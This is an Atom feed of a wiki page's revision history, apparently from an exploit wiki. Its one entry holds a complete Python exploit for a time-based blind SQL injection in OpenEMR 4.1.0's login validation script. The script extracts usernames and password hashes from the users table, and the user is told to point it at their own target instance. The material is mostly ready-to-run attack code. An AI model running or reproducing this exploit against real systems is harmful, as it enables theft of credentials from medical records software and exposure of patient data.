<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenEMR_4.1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>OpenEMR 4.1.0 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenEMR_4.1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenEMR_4.1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T23:35:46Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OpenEMR_4.1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1295&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: OpenEMR 4.1.0 - 'u' SQL Injection # Date: 2021-04-03 # Exploit Author: Michael Ikua # Vendor Homepage: https://www.open-emr.org/ # Software Link...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenEMR_4.1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1295&amp;oldid=prev"/>
		<updated>2021-04-09T07:52:04Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: OpenEMR 4.1.0 - &amp;#039;u&amp;#039; SQL Injection # Date: 2021-04-03 # Exploit Author: Michael Ikua # Vendor Homepage: https://www.open-emr.org/ # Software Link...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: OpenEMR 4.1.0 - 'u' SQL Injection&lt;br /&gt;
# Date: 2021-04-03&lt;br /&gt;
# Exploit Author: Michael Ikua&lt;br /&gt;
# Vendor Homepage: https://www.open-emr.org/&lt;br /&gt;
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v4_1_0.zip&lt;br /&gt;
# Version: 4.1.0&lt;br /&gt;
# Original Advisory: https://www.netsparker.com/web-applications-advisories/sql-injection-vulnerability-in-openemr/&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import string&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
   ____                   ________  _______     __ __   ___ ____ &lt;br /&gt;
  / __ \____  ___  ____  / ____/  |/  / __ \   / // /  &amp;lt;  // __ \\&lt;br /&gt;
 / / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ /  / // /_  / // / / /&lt;br /&gt;
/ /_/ / /_/ /  __/ / / / /___/ /  / / _, _/  /__  __/ / // /_/ / &lt;br /&gt;
\____/ .___/\___/_/ /_/_____/_/  /_/_/ |_|     /_/ (_)_(_)____/  &lt;br /&gt;
    /_/&lt;br /&gt;
    ____  ___           __   _____ ____    __    _               &lt;br /&gt;
   / __ )/ (_)___  ____/ /  / ___// __ \  / /   (_)              &lt;br /&gt;
  / /_/ / / / __ \/ __  /   \__ \/ / / / / /   / /               &lt;br /&gt;
 / /_/ / / / / / / /_/ /   ___/ / /_/ / / /___/ /                &lt;br /&gt;
/_____/_/_/_/ /_/\__,_/   /____/\___\_\/_____/_/   exploit by @ikuamike &lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
all = string.printable&lt;br /&gt;
# edit url to point to your openemr instance&lt;br /&gt;
url = &amp;quot;http://192.168.56.106/openemr/interface/login/validateUser.php?u=&amp;quot; &lt;br /&gt;
&lt;br /&gt;
def extract_users_num():&lt;br /&gt;
    print(&amp;quot;[+] Finding number of users...&amp;quot;)&lt;br /&gt;
    for n in range(1,100):&lt;br /&gt;
        payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\''&lt;br /&gt;
        r = requests.get(url+payload)&lt;br /&gt;
        if r.elapsed.total_seconds() &amp;gt; 3:&lt;br /&gt;
            user_length = n&lt;br /&gt;
            break&lt;br /&gt;
    print(&amp;quot;[+] Found number of users: &amp;quot; + str(user_length))&lt;br /&gt;
    return user_length&lt;br /&gt;
&lt;br /&gt;
def extract_users():&lt;br /&gt;
    users = extract_users_num()&lt;br /&gt;
    print(&amp;quot;[+] Extracting username and password hash...&amp;quot;)&lt;br /&gt;
    output = []&lt;br /&gt;
    for n in range(1,1000):&lt;br /&gt;
        payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\''&lt;br /&gt;
        #print(payload)&lt;br /&gt;
        r = requests.get(url+payload)&lt;br /&gt;
        #print(r.request.url)&lt;br /&gt;
        if r.elapsed.total_seconds() &amp;gt; 3:&lt;br /&gt;
            length = n&lt;br /&gt;
            break&lt;br /&gt;
    for i in range(1,length+1):&lt;br /&gt;
        for char in all:&lt;br /&gt;
            payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\''&lt;br /&gt;
            #print(payload)&lt;br /&gt;
            r = requests.get(url+payload)&lt;br /&gt;
            #print(r.request.url)&lt;br /&gt;
            if r.elapsed.total_seconds() &amp;gt; 3:&lt;br /&gt;
                output.append(char)&lt;br /&gt;
                if char == &amp;quot;,&amp;quot;:&lt;br /&gt;
                    print(&amp;quot;&amp;quot;)&lt;br /&gt;
                    continue&lt;br /&gt;
                print(char, end='', flush=True)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    extract_users()&lt;br /&gt;
except KeyboardInterrupt:&lt;br /&gt;
    print(&amp;quot;&amp;quot;)&lt;br /&gt;
    print(&amp;quot;[+] Exiting...&amp;quot;)&lt;br /&gt;
    sys.exit()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>